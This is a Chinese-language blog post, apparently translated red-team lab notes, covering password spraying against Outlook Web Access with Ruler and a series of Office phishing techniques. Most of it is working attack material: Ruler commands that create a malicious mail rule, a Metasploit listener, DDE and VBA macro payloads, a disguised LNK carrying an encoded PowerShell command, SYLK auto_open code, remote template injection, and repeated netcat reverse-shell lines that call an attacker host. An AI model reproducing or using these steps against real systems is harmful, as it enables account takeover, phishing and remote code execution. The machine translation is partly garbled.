初始访问

密码喷射 Outlook Web Access:远程 Shell

本实验研究一种称为密码喷射的攻击技术,以及通过使用名为 的工具利用邮件规则获取远程 shell 来滥用 Outlook Web Application Ruler

定义

密码喷射是密码暴力攻击的一种形式。在密码喷射中,攻击者(在工具的帮助下)使用几个最常用的弱密码循环遍历可能的用户名列表(使用针对目标公司的 OSINT 技术或其他方式发现的)。

相比之下,传统的暴力破解方法是从列表中选择一个用户名,然后针对该用户名尝试单词列表中的所有密码。一旦用尽该用户名的所有密码,就会从列表中选择另一个用户名并重复该过程。

密码喷射可以用下表来说明:

用户 密码
约翰 2018年冬季
2018年冬季
2018年冬季
约翰 2018 年 12 月!
2018 年 12 月!
2018 年 12 月!

标准密码暴力破解可以用下表说明:

用户 密码
约翰 2018年冬季
约翰 2018年冬天!
约翰 密码1
2018年冬季
2018年冬天!
密码1

密码喷洒

让我们尝试对域中的 Exchange 2016 服务器进行密码喷雾offense.local

1
ruler -k --domain offense.local brute --users users --passwords passwords --verbose

spotless上图表明,针对使用弱密码的用户,密码喷射已成功123456

请注意,如果您尝试在自己的实验室中复制此技术,您可能需要更新/etc/hosts以指向您的 Exchange 服务器:

通过恶意电子邮件规则获取 Shell

如果针对 Exchange 服务器的密码喷射成功并且您已获得有效凭据,您现在可以利用Ruler创建恶意电子邮件规则,从而在检查受感染邮箱的主机上获得远程执行代码。

喷射和远程代码执行如何工作的高级概述:

假设您已在用户喷雾期间获得工作凭证spotless@offense.local

在 的帮助下Ruler,为受感染的帐户(在我们的例子中)创建了恶意邮件规则spotless@offense.local。创建的规则将符合以下格式: if emailSubject contains someTriggerWordstartpathToSomeProgram

一封主题包含的新电子邮件someTriggerWord将发送至spotless@offense.local

用户spotless登录到他/她的工作站并启动 Outlook 客户端以检查新电子邮件

恶意电子邮件进入并触发恶意邮件规则,进而启动其中指定的程序,该程序pathToSomeProgram指向恶意负载,为攻击者提供反向 shell

让我们通过检查是否已创建任何电子邮件规则来验证受损的凭据是否有效:

1
ruler -k --verbose --email spotless@offense.local -u spotless -p 123456  display

以下内容表明凭据正在运行,并且尚未为此帐户设置邮件规则:

为了进一步进行攻击,我生成了一个反向 meterpreter 负载并将其保存为 Windows 可执行文件/root/tools/evilm64.exe

现在,我们需要创建一个可供受害者主机访问的 SMB 共享,并将其指向我们的有效负载 evilm64.exe 所在的位置:

1
2
3
攻击者@kali

smbserver.py tools /root/tools/

接下来,我们设置一个metasploit侦听器来捕获传入的反向shell:

1
2
3
4
use exploit/multi/handler 
set lhost 10.0.0.5
set lport 443
exploit

最后,我们启动标尺并创建恶意电子邮件规则:

1
ruler -k --verbose --email spotless@offense.local --username spotless -p 123456  add --location '\\10.0.0.5\tools\\evilm64.exe' --trigger "popashell" --name maliciousrule --send --subject popashell

下面显示了作为攻击的一部分创建的实际恶意规则 - 请注意subjectstart属性 - 我们在统治者命令中指定了它们:

如果您想删除恶意电子邮件规则,请执行以下操作:

1
ruler -k --verbose --email spotless@offense.local --username spotless -p 123456 delete --name maliciousrule

使用 MS Office 进行网络钓鱼

网络钓鱼:XLM/宏 4.0

https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/

可以通过首先插入“MS Execel 4.0 Macro”类型的新工作表来武器化 Microsoft Excel 电子表格:

Auto_open设置是下次excel自动打开运行的东西

T1173:网络钓鱼 - DDE

动态数据交换代码 - 在 Microsoft Office 文档中执行代码。

打开一个新的 MS Word 文档并插入一个字段:

替换= \* MERGEFORMAT为有效负载并保存文档:

DDEAUTO c:\windows\system32\cmd.exe “/k calc.exe”

我们如何检查 .docx(与 .xlsx 相同)文件?由于它们本质上是 .zip 存档,因此我们可以将 .docx 文件重命名为 .zip,然后简单地解压缩存档以进行进一步检查。

我们感兴趣的文件是document.xml(为简洁起见,在下面进行了修剪)。请注意第 4 行如何允许我们以纯文本形式检查 DDE 负载:

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:cx="http://schemas.microsoft.com/office/drawing/2014/chartex" xmlns:cx1="http://schemas.microsoft.com/office/drawing/2015/9/8/chartex" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:w16se="http://schemas.microsoft.com/office/word/2015/wordml/symex" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 w15 w16se wp14">
<...snip...>
<w:instrText>DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"</w:instrText>
<...snip...>
</w:document>

T1137:网络钓鱼 - Office 宏

使用 VBA 宏执行代码

1
2
3
4
Private Sub Document_Open()
MsgBox "game over", vbOKOnly, "game over"
a = Shell("C:\tools\shell.cmd", vbHide)
End Sub
1
C:\tools\nc.exe 10.0.0.5 443 -e C:\Windows\System32\cmd.exe

这个比较常见 不多说了

转为zip后缀看看

如果您收到可疑的 Office 文档并且没有任何恶意软件分析工具,希望您至少可以使用 WinZip 或 7Zip 和字符串实用程序或任何类型的十六进制编辑器。

由于 Office 文件本质上是 ZIP 存档(PK 魔法字节):

root@remnux:/home/remnux# hexdump -C Doc3.dotm | head -n1

00000000 50 4b 03 04 14 00 06 00 08 00 00 00 21 00 cc 3c |PK……….!..<|

…文件 Dot3.dotm 可以重命名为Doc3.zip ,并像常规 ZIP 存档一样简单地解压缩。这样做会缩小存档并暴露构成恶意 Office 文档的文件。其中一个文件是document.xml主要文档正文文本所在的位置,并且vbaProject.bin包含邪恶的宏本身:

查看内部,我们可以看到我们在document.xml武器化部分的本页开头输入的正文副本:

钓鱼OLE + LNK

本实验室探讨了一种流行的网络钓鱼技术,攻击者将 .lnk 文件嵌入到 Office 文档中,并使用 Ms Word Office 图标进行伪装,以欺骗受害者单击并运行它们。

创建一个 .LNK 文件,该文件在执行后将触发有效负载:

1
2
3
4
5
6
7
8
9
10
11
$command = 'Start-Process c:\shell.cmd'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)

$obj = New-object -comobject wscript.shell
$link = $obj.createshortcut("c:\experiments\ole+lnk\Invoice-FinTech-0900541.lnk")
$link.windowstyle = "7"
$link.targetpath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
$link.iconlocation = "C:\Program Files\Windows NT\Accessories\wordpad.exe"
$link.arguments = "-Nop -sta -noni -w hidden -encodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAGMAOgBcAHMAaABlAGwAbAAuAGMAbQBkAA=="
$link.save()

Powershell有效负载将触发一个基本的NC反向shell:

1
C:\tools\nc.exe 10.0.0.5 443 -e cmd.exe

执行上述 powershell 脚本后,.LNK将创建一个快捷方式:

让我们创建一个 Word 文档,其中将包含上一步中创建的恶意快捷方式:

让我们创建一个 Word 文档,其中将包含上一步中创建的恶意快捷方式:

让我们通过选择一个并将其图标源更改为 Microsoft Word 可执行文件来将新对象插入到文档中:Package

网络钓鱼:嵌入式 Internet Explorer

https://www.securify.nl/blog/click-me-if-you-can-office-social-engineering-with-embedded-objects/

网络钓鱼:.SLK Excel

创建一个新的文本文件,放入以下代码并将其另存为 .slk 文件:

1
2
3
4
5
6
ID;P
O;E
NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y101;K0;EEXEC("c:\shell.cmd")
C;X1;Y102;K0;EHALT()
E

请注意,shell.cmd 指的是一个简单的 nc 反向 shell 批处理文件:

1
2
3
c:\shell.cmd

C:\tools\nc.exe 10.0.0.5 443 -e cmd.exe

一旦宏警告被消除,反向 shell 将按预期弹出:

网络钓鱼:用虚假有效负载替换嵌入式视频

创建一个新的 Word 文档并转到“插入”>“在线视频”:

插入任意视频:

将 .docx 重命名为 .zip:

在任何代码编辑器中打开:document.xml

请注意该embeddedHtml属性 - 这是当前嵌入 YouTube iframe 的位置:

接下来,我们将在 iframe 标记开始之前将有效负载添加到属性内。embeddedHtml我们将使用本文中的有效负载:

从远程 Dotm 模板注入宏

本实验展示了如何间接将宏有效负载添加到 docx 文件中,这很有可能逃避某些 AV/EDR。

该技术的工作原理如下:

先创建一个恶意宏保存在 Word 模板 .dotm 文件中,另存为 .docx,重命名为 .zip,解压缩,.\word_rels\settings.xml.rels 包含对模板文件的引用。该引用被替换为对步骤 1 中创建的恶意宏的引用。文件可以托管在 Web 服务器 (http) 或 webdav (smb) 上。,文件再次压缩并重命名为 .docx

Alt+F8 进入开发模式,我们可以在其中编辑宏、选择ThisDocument并粘贴:

1
2
3
4
5
6
Sub Document_Open()

Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc"

End Sub

根据提供的模板之一创建良性 .docx 文件并将其另存为 .docx:

将legit.docx重命名为legit.zip:解压存档并编辑word_rels\settings.xml.rels

请注意,它具有此处指定的目标模板:

将之前创建的模板上传Doc3.dot到 SMB 服务器(请注意,该文件也可以托管在 Web 服务器上!)。

更新 word_rels\settings.xml.rels 以指向 Doc3.dotm:

压缩所有存档文件legit并将其重新命名为 .docx - 我们现在有了一个武器化文档:


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 jaytp@qq.com

💰

×

Help us with donation